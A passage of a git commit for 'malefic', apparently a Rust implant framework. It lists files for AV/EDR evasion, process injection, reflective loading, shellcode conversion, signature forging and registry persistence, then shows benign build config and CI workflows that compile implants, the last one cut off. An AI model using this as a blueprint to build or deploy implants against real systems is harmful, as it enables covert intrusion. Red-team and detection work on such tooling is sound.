mode 100644 malefic-3rd-template/malefic-3rd-zig/src/lib.rs create mode 100644 malefic-3rd-template/malefic-3rd-zig/src/zig/example/example.zig create mode 100644 malefic-3rd-template/malefic-3rd-zig/src/zig/malefic/module.options create mode 100644 malefic-3rd-template/malefic-3rd-zig/src/zig/malefic/module.pb.c create mode 100644 malefic-3rd-template/malefic-3rd-zig/src/zig/malefic/module.pb.h create mode 100644 malefic-3rd-template/malefic-3rd-zig/src/zig/malefic/module.proto create mode 100644 malefic-3rd-template/malefic-3rd-zig/src/zig/nanopb/pb.h create mode 100644 malefic-3rd-template/malefic-3rd-zig/src/zig/nanopb/pb_common.c create mode 100644 malefic-3rd-template/malefic-3rd-zig/src/zig/nanopb/pb_common.h create mode 100644 malefic-3rd-template/malefic-3rd-zig/src/zig/nanopb/pb_decode.c create mode 100644 malefic-3rd-template/malefic-3rd-zig/src/zig/nanopb/pb_decode.h create mode 100644 malefic-3rd-template/malefic-3rd-zig/src/zig/nanopb/pb_encode.c create mode 100644 malefic-3rd-template/malefic-3rd-zig/src/zig/nanopb/pb_encode.h create mode 100644 malefic-3rd-template/src/lib.rs create mode 100644 malefic-3rd/Cargo.toml create mode 100644 malefic-3rd/src/curl/mod.rs create mode 100644 malefic-3rd/src/lib.rs create mode 100644 malefic-3rd/src/prelude.rs create mode 100644 malefic-3rd/src/pty/mod.rs create mode 100644 malefic-3rd/src/rem/mod.rs create mode 100644 malefic-crates/autorun/Cargo.toml create mode 100644 malefic-crates/autorun/README.md create mode 100644 malefic-crates/autorun/src/autorun.rs create mode 100644 malefic-crates/autorun/src/lib.rs create mode 100644 malefic-crates/codec/Cargo.toml create mode 100644 malefic-crates/codec/README.md create mode 100644 malefic-crates/codec/src/aes.rs create mode 100644 malefic-crates/codec/src/aes2.rs create mode 100644 malefic-crates/codec/src/base45.rs create mode 100644 malefic-crates/codec/src/base58.rs create mode 100644 malefic-crates/codec/src/base64.rs create mode 100644 malefic-crates/codec/src/chacha.rs create mode 100644 malefic-crates/codec/src/des.rs create mode 100644 malefic-crates/codec/src/ipv4.rs create mode 100644 malefic-crates/codec/src/lib.rs create mode 100644 malefic-crates/codec/src/mac.rs create mode 100644 malefic-crates/codec/src/rc4.rs create mode 100644 malefic-crates/codec/src/uuid.rs create mode 100644 malefic-crates/codec/src/xor.rs create mode 100644 malefic-crates/common/Cargo.toml create mode 100644 malefic-crates/common/README.md create mode 100644 malefic-crates/common/src/errors.rs create mode 100644 malefic-crates/common/src/getrandom_compat.rs create mode 100644 malefic-crates/common/src/lib.rs create mode 100644 malefic-crates/common/src/random.rs create mode 100644 malefic-crates/common/src/tinyserde.rs create mode 100644 malefic-crates/common/src/utils.rs create mode 100644 malefic-crates/config/Cargo.toml create mode 100644 malefic-crates/config/README.md create mode 100644 malefic-crates/config/src/config.rs create mode 100644 malefic-crates/config/src/lib.rs create mode 100644 malefic-crates/config/src/runtime.rs create mode 100644 malefic-crates/cron/Cargo.toml create mode 100644 malefic-crates/cron/README.md create mode 100644 malefic-crates/cron/src/lib.rs create mode 100644 malefic-crates/crypto/Cargo.toml create mode 100644 malefic-crates/crypto/README.md create mode 100644 malefic-crates/crypto/src/compress/mod.rs create mode 100644 malefic-crates/crypto/src/crypto/aes.rs create mode 100644 malefic-crates/crypto/src/crypto/age.rs create mode 100644 malefic-crates/crypto/src/crypto/chacha20.rs create mode 100644 malefic-crates/crypto/src/crypto/mod.rs create mode 100644 malefic-crates/crypto/src/crypto/xor.rs create mode 100644 malefic-crates/crypto/src/lib.rs create mode 100644 malefic-crates/dga/Cargo.toml create mode 100644 malefic-crates/dga/README.md create mode 100644 malefic-crates/dga/src/algorithm.rs create mode 100644 malefic-crates/dga/src/generator.rs create mode 100644 malefic-crates/dga/src/lib.rs create mode 100644 malefic-crates/evader/Cargo.toml create mode 100644 malefic-crates/evader/src/anti_emu.rs create mode 100644 malefic-crates/evader/src/anti_forensic.rs create mode 100644 malefic-crates/evader/src/api_untangle.rs create mode 100644 malefic-crates/evader/src/cfg_patch.rs create mode 100644 malefic-crates/evader/src/etw_pass.rs create mode 100644 malefic-crates/evader/src/god_speed.rs create mode 100644 malefic-crates/evader/src/lib.rs create mode 100644 malefic-crates/evader/src/normal_api.rs create mode 100644 malefic-crates/evader/src/sandbox.rs create mode 100644 malefic-crates/evader/src/sleep_encrypt.rs create mode 100644 malefic-crates/evader/src/types.rs create mode 100644 malefic-crates/evader/src/vm.rs create mode 100644 malefic-crates/features/Cargo.toml create mode 100644 malefic-crates/features/src/lib.rs create mode 100644 malefic-crates/gateway/Cargo.toml create mode 100644 malefic-crates/gateway/src/lib.rs create mode 100644 malefic-crates/gateway/src/runtime.rs create mode 100644 malefic-crates/gateway/src/traits.rs create mode 100644 malefic-crates/guardrail/Cargo.toml create mode 100644 malefic-crates/guardrail/README.md create mode 100644 malefic-crates/guardrail/src/lib.rs create mode 100644 malefic-crates/loader/Cargo.toml create mode 100644 malefic-crates/loader/README.md create mode 100644 malefic-crates/loader/examples/test_inject.rs create mode 100644 malefic-crates/loader/src/hot_modules.rs create mode 100644 malefic-crates/loader/src/lib.rs create mode 100644 malefic-crates/loader/src/linux/memfd.rs create mode 100644 malefic-crates/loader/src/linux/mod.rs create mode 100644 malefic-crates/loader/src/linux/pthread.rs create mode 100644 malefic-crates/loader/src/linux/spawn.rs create mode 100644 malefic-crates/loader/src/memory.rs create mode 100644 malefic-crates/loader/src/win/apc/mod.rs create mode 100644 malefic-crates/loader/src/win/fiber/mod.rs create mode 100644 malefic-crates/loader/src/win/mod.rs create mode 100644 malefic-crates/loader/src/win/thread/mod.rs create mode 100644 malefic-crates/macro/Cargo.toml create mode 100644 malefic-crates/macro/README.md create mode 100644 malefic-crates/macro/src/lazy_static_impl.rs create mode 100644 malefic-crates/macro/src/lib.rs create mode 100644 malefic-crates/macro/src/obf/lazy_static.rs create mode 100644 malefic-crates/macro/src/obf/mod.rs create mode 100644 malefic-crates/macro/src/obf/obf_debug.rs create mode 100644 malefic-crates/macro/src/obf/util.rs create mode 100644 malefic-crates/manager/Cargo.toml create mode 100644 malefic-crates/manager/README.md create mode 100644 malefic-crates/manager/src/addons.rs create mode 100644 malefic-crates/manager/src/internal.rs create mode 100644 malefic-crates/manager/src/lib.rs create mode 100644 malefic-crates/manager/src/manager.rs create mode 100644 malefic-crates/module/Cargo.toml create mode 100644 malefic-crates/module/README.md create mode 100644 malefic-crates/module/src/abi.rs create mode 100644 malefic-crates/module/src/codec.rs create mode 100644 malefic-crates/module/src/ffi.rs create mode 100644 malefic-crates/module/src/lib.rs create mode 100644 malefic-crates/module/src/macro.rs create mode 100644 malefic-crates/module/src/module_sdk.rs create mode 100644 malefic-crates/module/src/prelude.rs create mode 100644 malefic-crates/net/Cargo.toml create mode 100644 malefic-crates/net/README.md create mode 100644 malefic-crates/net/src/darwin/libproc_bindings.rs create mode 100644 malefic-crates/net/src/darwin/mod.rs create mode 100644 malefic-crates/net/src/darwin/socket.rs create mode 100644 malefic-crates/net/src/darwin/sysctl.rs create mode 100644 malefic-crates/net/src/lib.rs create mode 100644 malefic-crates/net/src/linux/mod.rs create mode 100644 malefic-crates/net/src/linux/netlink.rs create mode 100644 malefic-crates/net/src/linux/procfs.rs create mode 100644 malefic-crates/net/src/linux/socket.rs create mode 100644 malefic-crates/net/src/win/mod.rs create mode 100644 malefic-crates/process/Cargo.toml create mode 100644 malefic-crates/process/README.md create mode 100644 malefic-crates/process/src/darwin/mod.rs create mode 100644 malefic-crates/process/src/exec.rs create mode 100644 malefic-crates/process/src/lib.rs create mode 100644 malefic-crates/process/src/linux/mod.rs create mode 100644 malefic-crates/process/src/win/mod.rs create mode 100644 malefic-crates/proto/Cargo.toml create mode 100644 malefic-crates/proto/README.md create mode 100644 malefic-crates/proto/build.rs create mode 100644 malefic-crates/proto/src/lib.rs create mode 100644 malefic-crates/proto/src/proto/mod.rs create mode 100644 malefic-crates/proto/src/proto/modulepb.rs create mode 100644 malefic-crates/rem/Cargo.toml create mode 100644 malefic-crates/rem/README.md create mode 100644 malefic-crates/rem/build.rs create mode 100644 malefic-crates/rem/csrc/rem_bridge.c create mode 100644 malefic-crates/rem/examples/test_dll.rs create mode 100644 malefic-crates/rem/src/lib.rs create mode 100644 malefic-crates/rem/src/rem_dynamic.rs create mode 100644 malefic-crates/rem/src/rem_static.rs create mode 100644 malefic-crates/runtime/Cargo.toml create mode 100644 malefic-crates/runtime/src/host.rs create mode 100644 malefic-crates/runtime/src/lib.rs create mode 100644 malefic-crates/scheduler/Cargo.toml create mode 100644 malefic-crates/scheduler/README.md create mode 100644 malefic-crates/scheduler/src/collector.rs create mode 100644 malefic-crates/scheduler/src/lib.rs create mode 100644 malefic-crates/scheduler/src/task.rs create mode 100644 malefic-crates/srdi/Cargo.toml create mode 100644 malefic-crates/srdi/src/lib.rs create mode 100644 malefic-crates/srdi/src/loader.rs create mode 100644 malefic-crates/srdi/src/main.rs create mode 100644 malefic-crates/srdi/src/types.rs create mode 100644 malefic-crates/srdi/src/utils.rs create mode 100644 malefic-crates/stub/Cargo.toml create mode 100644 malefic-crates/stub/src/channel.rs create mode 100644 malefic-crates/stub/src/composition.rs create mode 100644 malefic-crates/stub/src/lib.rs create mode 100644 malefic-crates/stub/src/meta.rs create mode 100644 malefic-crates/stub/src/stub.rs create mode 100644 malefic-crates/stub/src/sys.rs create mode 100644 malefic-crates/sysinfo/Cargo.toml create mode 100644 malefic-crates/sysinfo/README.md create mode 100644 malefic-crates/sysinfo/src/darwin/domain.rs create mode 100644 malefic-crates/sysinfo/src/darwin/ipconfig.rs create mode 100644 malefic-crates/sysinfo/src/darwin/mod.rs create mode 100644 malefic-crates/sysinfo/src/darwin/whoami.rs create mode 100644 malefic-crates/sysinfo/src/filesys.rs create mode 100644 malefic-crates/sysinfo/src/lib.rs create mode 100644 malefic-crates/sysinfo/src/linux/domain.rs create mode 100644 malefic-crates/sysinfo/src/linux/ipconfig.rs create mode 100644 malefic-crates/sysinfo/src/linux/mod.rs create mode 100644 malefic-crates/sysinfo/src/linux/whoami.rs create mode 100644 malefic-crates/sysinfo/src/win/clr.rs create mode 100644 malefic-crates/sysinfo/src/win/domain.rs create mode 100644 malefic-crates/sysinfo/src/win/driver.rs create mode 100644 malefic-crates/sysinfo/src/win/ipconfig.rs create mode 100644 malefic-crates/sysinfo/src/win/mod.rs create mode 100644 malefic-crates/sysinfo/src/win/whoami.rs create mode 100644 malefic-crates/transport/Cargo.toml create mode 100644 malefic-crates/transport/README.md create mode 100644 malefic-crates/transport/src/connection.rs create mode 100644 malefic-crates/transport/src/http/mod.rs create mode 100644 malefic-crates/transport/src/lib.rs create mode 100644 malefic-crates/transport/src/proxie/error.rs create mode 100644 malefic-crates/transport/src/proxie/http.rs create mode 100644 malefic-crates/transport/src/proxie/mod.rs create mode 100644 malefic-crates/transport/src/proxie/proxy.rs create mode 100644 malefic-crates/transport/src/proxie/socks5.rs create mode 100644 malefic-crates/transport/src/proxie/target.rs create mode 100644 malefic-crates/transport/src/proxie/utils.rs create mode 100644 malefic-crates/transport/src/rem/mod.rs create mode 100644 malefic-crates/transport/src/runner.rs create mode 100644 malefic-crates/transport/src/server_manager.rs create mode 100644 malefic-crates/transport/src/session.rs create mode 100644 malefic-crates/transport/src/tcp/mod.rs create mode 100644 malefic-crates/transport/src/tcp/native_tls.rs create mode 100644 malefic-crates/transport/src/tcp/tls.rs create mode 100644 malefic-crates/win/Cargo.toml create mode 100644 malefic-crates/win/README.md create mode 100644 malefic-crates/win/build.rs create mode 100644 malefic-crates/win/malefic_win_kit.h create mode 100644 malefic-crates/win/src/common/mod.rs create mode 100644 malefic-crates/win/src/detour/mod.rs create mode 100644 malefic-crates/win/src/kit/apis/mod.rs create mode 100644 malefic-crates/win/src/kit/binding/binding.rs create mode 100644 malefic-crates/win/src/kit/binding/mod.rs create mode 100644 malefic-crates/win/src/kit/bof/mod.rs create mode 100644 malefic-crates/win/src/kit/bypass/mod.rs create mode 100644 malefic-crates/win/src/kit/clr/mod.rs create mode 100644 malefic-crates/win/src/kit/hide/mod.rs create mode 100644 malefic-crates/win/src/kit/inject/create_thread/mod.rs create mode 100644 malefic-crates/win/src/kit/inject/mod.rs create mode 100644 malefic-crates/win/src/kit/mod.rs create mode 100644 malefic-crates/win/src/kit/pe/inlinepe.rs create mode 100644 malefic-crates/win/src/kit/pe/mod.rs create mode 100644 malefic-crates/win/src/kit/pe/reflective_loader.rs create mode 100644 malefic-crates/win/src/kit/pe/runpe.rs create mode 100644 malefic-crates/win/src/kit/pe/utils.rs create mode 100644 malefic-crates/win/src/kit/pwsh/mod.rs create mode 100644 malefic-crates/win/src/lib.rs create mode 100644 malefic-crates/win/src/pipe/mod.rs create mode 100644 malefic-crates/win/src/reg/mod.rs create mode 100644 malefic-crates/win/src/scheduler/mod.rs create mode 100644 malefic-crates/win/src/service/mod.rs create mode 100644 malefic-crates/win/src/sleep/allocator.rs create mode 100644 malefic-crates/win/src/sleep/config.rs create mode 100644 malefic-crates/win/src/sleep/hypnus.rs create mode 100644 malefic-crates/win/src/sleep/mod.rs create mode 100644 malefic-crates/win/src/sleep/types.rs create mode 100644 malefic-crates/win/src/sleep/winapis.rs create mode 100644 malefic-crates/win/src/token/mod.rs create mode 100644 malefic-crates/win/src/types/mod.rs create mode 100644 malefic-crates/win/src/wmi/connection.rs create mode 100644 malefic-crates/win/src/wmi/exec.rs create mode 100644 malefic-crates/win/src/wmi/mod.rs create mode 100644 malefic-crates/win/src/wmi/query.rs create mode 100644 malefic-crates/win/src/wmi/result_enumerator.rs create mode 100644 malefic-crates/win/src/wmi/safearray.rs create mode 100644 malefic-crates/win/src/wmi/utils.rs create mode 100644 malefic-crates/win/src/wmi/variant.rs create mode 100644 malefic-modules/Cargo.toml create mode 100644 malefic-modules/src/execute/dllspawn.rs create mode 100644 malefic-modules/src/execute/exec.rs create mode 100644 malefic-modules/src/execute/execute_armory.rs create mode 100644 malefic-modules/src/execute/execute_assembly.rs create mode 100644 malefic-modules/src/execute/execute_bof.rs create mode 100644 malefic-modules/src/execute/execute_dll.rs create mode 100644 malefic-modules/src/execute/execute_exe.rs create mode 100644 malefic-modules/src/execute/execute_local.rs create mode 100644 malefic-modules/src/execute/execute_powershell.rs create mode 100644 malefic-modules/src/execute/execute_shellcode.rs create mode 100644 malefic-modules/src/execute/inline_local.rs create mode 100644 malefic-modules/src/execute/mod.rs create mode 100644 malefic-modules/src/execute/open.rs create mode 100644 malefic-modules/src/fs/cat.rs create mode 100644 malefic-modules/src/fs/cd.rs create mode 100644 malefic-modules/src/fs/chmod.rs create mode 100644 malefic-modules/src/fs/chown.rs create mode 100644 malefic-modules/src/fs/cp.rs create mode 100644 malefic-modules/src/fs/driver.rs create mode 100644 malefic-modules/src/fs/ls.rs create mode 100644 malefic-modules/src/fs/mkdir.rs create mode 100644 malefic-modules/src/fs/mod.rs create mode 100644 malefic-modules/src/fs/mv.rs create mode 100644 malefic-modules/src/fs/pipe.rs create mode 100644 malefic-modules/src/fs/pwd.rs create mode 100644 malefic-modules/src/fs/rm.rs create mode 100644 malefic-modules/src/fs/touch.rs create mode 100644 malefic-modules/src/lib.rs create mode 100644 malefic-modules/src/net/download.rs create mode 100644 malefic-modules/src/net/mod.rs create mode 100644 malefic-modules/src/net/upload.rs create mode 100644 malefic-modules/src/prelude.rs create mode 100644 malefic-modules/src/sys/bypass.rs create mode 100644 malefic-modules/src/sys/env.rs create mode 100644 malefic-modules/src/sys/example.rs create mode 100644 malefic-modules/src/sys/info.rs create mode 100644 malefic-modules/src/sys/inject.rs create mode 100644 malefic-modules/src/sys/kill.rs create mode 100644 malefic-modules/src/sys/mod.rs create mode 100644 malefic-modules/src/sys/netstat.rs create mode 100644 malefic-modules/src/sys/ps.rs create mode 100644 malefic-modules/src/sys/reg.rs create mode 100644 malefic-modules/src/sys/self_dele.rs create mode 100644 malefic-modules/src/sys/service.rs create mode 100644 malefic-modules/src/sys/taskschd.rs create mode 100644 malefic-modules/src/sys/thread_spawn_test.rs create mode 100644 malefic-modules/src/sys/token.rs create mode 100644 malefic-modules/src/sys/whoami.rs create mode 100644 malefic-modules/src/sys/wmi.rs create mode 100644 malefic-mutant/Cargo.toml create mode 100644 malefic-mutant/README.md create mode 100644 malefic-mutant/build.rs create mode 100644 malefic-mutant/config_lint.json create mode 100644 malefic-mutant/src/build/mod.rs create mode 100644 malefic-mutant/src/build/payload/mod.rs create mode 100644 malefic-mutant/src/build/pulse/http.rs create mode 100644 malefic-mutant/src/build/pulse/mod.rs create mode 100644 malefic-mutant/src/build/pulse/tcp.rs create mode 100644 malefic-mutant/src/build/pulse/utils.rs create mode 100644 malefic-mutant/src/build/pulse/winhttp.rs create mode 100644 malefic-mutant/src/build/pulse/wininet.rs create mode 100644 malefic-mutant/src/cmd.rs create mode 100644 malefic-mutant/src/config/mod.rs create mode 100644 malefic-mutant/src/generate/cargo_features.rs create mode 100644 malefic-mutant/src/generate/codegen.rs create mode 100644 malefic-mutant/src/generate/features.rs create mode 100644 malefic-mutant/src/generate/mod.rs create mode 100644 malefic-mutant/src/generate/prelude.rs create mode 100644 malefic-mutant/src/generate/resources.rs create mode 100644 malefic-mutant/src/generate/spites.rs create mode 100644 malefic-mutant/src/logger.rs create mode 100644 malefic-mutant/src/main.rs create mode 100644 malefic-mutant/src/tool/binder/embed.rs create mode 100644 malefic-mutant/src/tool/binder/metadata.rs create mode 100644 malefic-mutant/src/tool/binder/mod.rs create mode 100644 malefic-mutant/src/tool/encoder/aes2.rs create mode 100644 malefic-mutant/src/tool/encoder/aes_enc.rs create mode 100644 malefic-mutant/src/tool/encoder/base45.rs create mode 100644 malefic-mutant/src/tool/encoder/base58.rs create mode 100644 malefic-mutant/src/tool/encoder/base64_enc.rs create mode 100644 malefic-mutant/src/tool/encoder/chacha.rs create mode 100644 malefic-mutant/src/tool/encoder/des_enc.rs create mode 100644 malefic-mutant/src/tool/encoder/ipv4.rs create mode 100644 malefic-mutant/src/tool/encoder/mac.rs create mode 100644 malefic-mutant/src/tool/encoder/mod.rs create mode 100644 malefic-mutant/src/tool/encoder/rc4.rs create mode 100644 malefic-mutant/src/tool/encoder/uuid.rs create mode 100644 malefic-mutant/src/tool/encoder/xor.rs create mode 100644 malefic-mutant/src/tool/entropy/calculator.rs create mode 100644 malefic-mutant/src/tool/entropy/mod.rs create mode 100644 malefic-mutant/src/tool/entropy/reducer.rs create mode 100644 malefic-mutant/src/tool/icon/ico_parser.rs create mode 100644 malefic-mutant/src/tool/icon/mod.rs create mode 100644 malefic-mutant/src/tool/icon/replace.rs create mode 100644 malefic-mutant/src/tool/icon/resource.rs create mode 100644 malefic-mutant/src/tool/loader/bdf/evasion.rs create mode 100644 malefic-mutant/src/tool/loader/bdf/mod.rs create mode 100644 malefic-mutant/src/tool/loader/bdf/pe.rs create mode 100644 malefic-mutant/src/tool/loader/bdf/resolver.rs create mode 100644 malefic-mutant/src/tool/loader/mod.rs create mode 100644 malefic-mutant/src/tool/loader/patch.rs create mode 100644 malefic-mutant/src/tool/loader/proxydll_loader.rs create mode 100644 malefic-mutant/src/tool/loader/template.rs create mode 100644 malefic-mutant/src/tool/mod.rs create mode 100644 malefic-mutant/src/tool/patch.rs create mode 100644 malefic-mutant/src/tool/pe/mod.rs create mode 100644 malefic-mutant/src/tool/pe/objcopy.rs create mode 100644 malefic-mutant/src/tool/pe/parser.rs create mode 100644 malefic-mutant/src/tool/pe/structures.rs create mode 100644 malefic-mutant/src/tool/proxydll/generator.rs create mode 100644 malefic-mutant/src/tool/proxydll/mod.rs create mode 100644 malefic-mutant/src/tool/proxydll/packer.rs create mode 100644 malefic-mutant/src/tool/sigforge/carbon_copy.rs create mode 100644 malefic-mutant/src/tool/sigforge/error.rs create mode 100644 malefic-mutant/src/tool/sigforge/extract.rs create mode 100644 malefic-mutant/src/tool/sigforge/inject.rs create mode 100644 malefic-mutant/src/tool/sigforge/mod.rs create mode 100644 malefic-mutant/src/tool/sigforge/remove.rs create mode 100644 malefic-mutant/src/tool/srdi/link_srdi.rs create mode 100644 malefic-mutant/src/tool/srdi/malefic_srdi.rs create mode 100644 malefic-mutant/src/tool/srdi/mod.rs create mode 100644 malefic-mutant/src/tool/srdi/shellcode.rs create mode 100644 malefic-mutant/src/tool/srdi/utils.rs create mode 100644 malefic-mutant/src/tool/strip/mod.rs create mode 100644 malefic-mutant/src/tool/watermark/methods.rs create mode 100644 malefic-mutant/src/tool/watermark/mod.rs create mode 100644 malefic-prelude/Cargo.toml create mode 100644 malefic-prelude/build.rs create mode 100644 malefic-prelude/src/main.rs create mode 100644 malefic-proxydll/Cargo.toml create mode 100644 malefic-proxydll/README.md create mode 100644 malefic-proxydll/build.rs create mode 100644 malefic-proxydll/proxy.def create mode 100644 malefic-proxydll/src/lib.rs create mode 100644 malefic-proxydll/src/payload.rs create mode 100644 malefic-pulse/Cargo.toml create mode 100644 malefic-pulse/Linker32.ld create mode 100644 malefic-pulse/Linker64.ld create mode 100644 malefic-pulse/build.rs create mode 100644 malefic-pulse/scripts/linker.ld create mode 100644 malefic-pulse/src/constants.rs create mode 100644 malefic-pulse/src/hash.rs create mode 100644 malefic-pulse/src/instance.rs create mode 100644 malefic-pulse/src/lib.rs create mode 100644 malefic-pulse/src/main.rs create mode 100644 malefic-pulse/src/memory.rs create mode 100644 malefic-pulse/src/resolve.rs create mode 100644 malefic-pulse/src/template/instance_template create mode 100644 malefic-pulse/src/template/x64_common_template create mode 100644 malefic-pulse/src/template/x86_common_template create mode 100644 malefic-pulse/src/windows.rs create mode 100644 malefic-starship/Cargo.lock create mode 100644 malefic-starship/Cargo.toml create mode 100644 malefic-starship/README.md create mode 100644 malefic-starship/asm/direct_syscall.asm create mode 100644 malefic-starship/asm/edr_syscall_1.asm create mode 100644 malefic-starship/asm/edr_syscall_2.asm create mode 100644 malefic-starship/asm/indirect_syscall.asm create mode 100644 malefic-starship/asm/woodpecker_assm.asm create mode 100644 malefic-starship/src/decoder/mod.rs create mode 100644 malefic-starship/src/launch.rs create mode 100644 malefic-starship/src/lib.rs create mode 100644 malefic-starship/src/loaders/basic_template.rs create mode 100644 malefic-starship/src/loaders/common.rs create mode 100644 malefic-starship/src/loaders/func_ptr.rs create mode 100644 malefic-starship/src/loaders/mod.rs create mode 100644 malefic-starship/src/main.rs create mode 100644 malefic-starship/src/obf.rs create mode 100644 malefic-starship/src/types.rs create mode 100644 malefic/Cargo.toml create mode 100644 malefic/build.rs create mode 100644 malefic/src/beacon.rs create mode 100644 malefic/src/bind.rs create mode 100644 malefic/src/bootstrap.rs create mode 100644 malefic/src/lib.rs create mode 100644 malefic/src/main.rs create mode 100644 malefic/src/session_loop.rs create mode 100644 prelude.yaml create mode 100644 profiles/README.md create mode 100644 profiles/malefic-http/implant.yaml create mode 100644 profiles/malefic-https/implant.yaml create mode 100644 profiles/malefic-mini-modules/implant.yaml create mode 100644 profiles/malefic-nano-modules/implant.yaml create mode 100644 profiles/malefic-rem/implant.yaml create mode 100644 profiles/malefic-tcp-tls/implant.yaml create mode 100644 profiles/malefic-tcp/implant.yaml create mode 100644 profiles/malefic-with-prelude/implant.yaml create mode 100644 profiles/malefic-with-prelude/prelude.yaml create mode 100644 profiles/malefic-with-prelude/resources/persist_with_reg.x64.o create mode 100644 profiles/prelude-shellcode/implant.yaml create mode 100644 profiles/prelude-shellcode/prelude.yaml create mode 100644 profiles/prelude-shellcode/resources/shellcode.bin create mode 100644 profiles/pulse-tcp/implant.yaml create mode 100644 profiles/pulse-winhttp-http/implant.yaml create mode 100644 profiles/pulse-winhttp-https/implant.yaml create mode 100644 profiles/pulse-wininet-http/implant.yaml create mode 100644 profiles/pulse-wininet-https/implant.yaml create mode 160000 proto create mode 100755 resources/YY-Thunks-Objs/Readme.md create mode 100755 resources/YY-Thunks-Objs/ThunksList.md create mode 100755 resources/YY-Thunks-Objs/objs/x64/YY_Thunks_for_WinXP.obj create mode 100755 resources/YY-Thunks-Objs/objs/x86/YY_Thunks_for_WinXP.obj create mode 100644 resources/malefic.rc create mode 100644 resources/spite.bin diff --git a/.cargo/config.toml b/.cargo/config.toml new file mode 100644 index 0000000..f60119c --- /dev/null +++ b/.cargo/config.toml @@ -0,0 +1,36 @@ +[build] +jobs=8 + + +[target.x86_64-pc-windows-gnu] +rustflags = [ + "-C", "link-arg=-s", + "-C", "link-arg=-Wl,--gc-sections", +] + +[target.x86_64-pc-windows-msvc] +rustflags = [ + "-C","link-arg=/DEBUG:NONE", + "-C", "target-feature=+crt-static", +] + +[target.i686-pc-windows-msvc] +rustflags = [ + "-C", "link-args=/SUBSYSTEM:CONSOLE,5.01", +] + +[target.'cfg(target_os = "macos")'] +rustflags = [ + "-C", "link-arg=-dead_strip" +] + +[target.'cfg(target_os = "linux")'] +rustflags = [ + "-C", "link-arg=-Wl,--gc-sections", + "-C", "link-arg=-Wl,--strip-all", +] + +# [target.'cfg(target_os = "windows")'] +# rustflags = [ +# "-C", "target-feature=+crt-static", +# ] diff --git a/.github/workflows/check.yaml b/.github/workflows/check.yaml new file mode 100644 index 0000000..89f8dad --- /dev/null +++ b/.github/workflows/check.yaml @@ -0,0 +1,123 @@ +name: check + +on: + push: + branches: [main, master] + pull_request: + branches: [main, master] + workflow_dispatch: + inputs: + target: + description: '指定 target(留空跑全部)' + required: false + default: '' + phase: + description: 'check / feature / test / mutant / profile / all' + required: false + default: 'all' + toolchain: + description: 'Rust toolchain (e.g. nightly-2024-09-18)' + required: false + default: 'nightly-2024-09-18' + +permissions: + contents: read + +jobs: + check-linux: + runs-on: ubuntu-latest + strategy: + fail-fast: false + matrix: + target: + - x86_64-unknown-linux-musl + - x86_64-pc-windows-gnu + steps: + - name: Checkout + uses: actions/checkout@v4 + with: + submodules: recursive + token: ${{ secrets.GH_PAT }} + + - name: Install Rust toolchain + uses: dtolnay/rust-toolchain@master + with: + toolchain: ${{ github.event.inputs.toolchain || 'nightly-2024-09-18' }} + targets: ${{ matrix.target }} + + - name: Install cross-compilation tools + run: | + sudo apt-get update + sudo apt-get install -y gcc-mingw-w64-x86-64 musl-tools protobuf-compiler + sudo ln -sf /usr/bin/musl-gcc /usr/local/bin/x86_64-linux-musl-gcc + + - name: Rust cache + uses: Swatinem/rust-cache@v2 + with: + shared-key: "check-${{ matrix.target }}" + cache-targets: true + cache-all-crates: true + save-if: ${{ github.event_name == 'push' || github.event_name == 'workflow_dispatch' }} + + - name: Fix line endings + run: | + sudo apt-get install -y dos2unix 2>/dev/null || true + find scripts/check -name '*.sh' -exec dos2unix {} + 2>/dev/null || \ + find scripts/check -name '*.sh' -exec sed -i 's/\r$//' {} + + + - name: Determine phase + id: phase + run: | + if [[ "${{ github.event_name }}" == "workflow_dispatch" ]]; then + echo "value=${{ github.event.inputs.phase || 'all' }}" >> $GITHUB_OUTPUT + else + echo "value=test" >> $GITHUB_OUTPUT + fi + + - name: Run checks + run: | + chmod +x scripts/check/check.sh scripts/check/profile.sh + ./scripts/check/check.sh --target ${{ matrix.target }} --phase ${{ steps.phase.outputs.value }} --ci + + check-darwin: + runs-on: macos-latest + steps: + - name: Checkout + uses: actions/checkout@v4 + with: + submodules: recursive + token: ${{ secrets.GH_PAT }} + + - name: Install protobuf + run: brew install protobuf + + - name: Install Rust toolchain + uses: dtolnay/rust-toolchain@master + with: + toolchain: ${{ github.event.inputs.toolchain || 'nightly-2024-09-18' }} + + - name: Rust cache + uses: Swatinem/rust-cache@v2 + with: + shared-key: "check-aarch64-apple-darwin" + cache-targets: true + cache-all-crates: true + save-if: ${{ github.event_name == 'push' || github.event_name == 'workflow_dispatch' }} + + - name: Fix line endings + run: | + find scripts/check -name '*.sh' -exec sed -i '' 's/\r$//' {} + + + - name: Determine phase + id: phase + run: | + if [[ "${{ github.event_name }}" == "workflow_dispatch" ]]; then + echo "value=${{ github.event.inputs.phase || 'all' }}" >> $GITHUB_OUTPUT + else + echo "value=test" >> $GITHUB_OUTPUT + fi + + - name: Run checks + run: | + chmod +x scripts/check/check.sh scripts/check/profile.sh + ./scripts/check/check.sh --target aarch64-apple-darwin --phase ${{ steps.phase.outputs.value }} --ci diff --git a/.github/workflows/generate.yaml b/.github/workflows/generate.yaml new file mode 100644 index 0000000..611b967 --- /dev/null +++ b/.github/workflows/generate.yaml @@ -0,0 +1,233 @@ +name: generate malefic + +on: + workflow_dispatch: + inputs: + remark: + description: 'You can write something here, it will appear in the TITLE of `gh run list`, and help u find the artifact easily.' + required: false + default: '' + release: + description: 'Release version (default: none, if you want to upload to a GitHub Release, create a release and provide the version).' + required: false + default: "none" + targets: + description: 'Target to compile (comma separated, e.g., windows-x64-gnu,windows-x32-gnu)' + required: true + edition: + description: 'Edition' + required: false + default: 'community' + package: + description: 'Package' + required: true + default: 'beacon' + malefic_modules_features: + description: 'Malefic modules features' + required: false + default: 'full' + malefic_config_yaml: + description: 'Malefic config (Base64-encoded content of implant.yaml , will be masked in logs)' + required: false + autorun_yaml: + description: 'Autorun config (Base64-encoded content of prelude.yaml , will be masked in logs)' + required: false + +run-name: ${{ github.event.inputs.remark }} + +permissions: + contents: write + +jobs: + set_targets: + runs-on: ubuntu-22.04 + outputs: + targets_json: ${{ steps.set_targets.outputs.targets_json }} + steps: + - name: Set matrix + id: set_targets + run: | + TARGETS="${{ github.event.inputs.targets }}" + TARGETS_JSON=$(echo "[\"${TARGETS//,/\",\"}\"]") + echo "targets_json=$TARGETS_JSON" >> $GITHUB_OUTPUT + + generate: + needs: set_targets + runs-on: ubuntu-22.04 + strategy: + matrix: + target: ${{ fromJson(needs.set_targets.outputs.targets_json) }} + steps: + - name: Checkout code + uses: actions/checkout@v4 + with: + token: ${{ 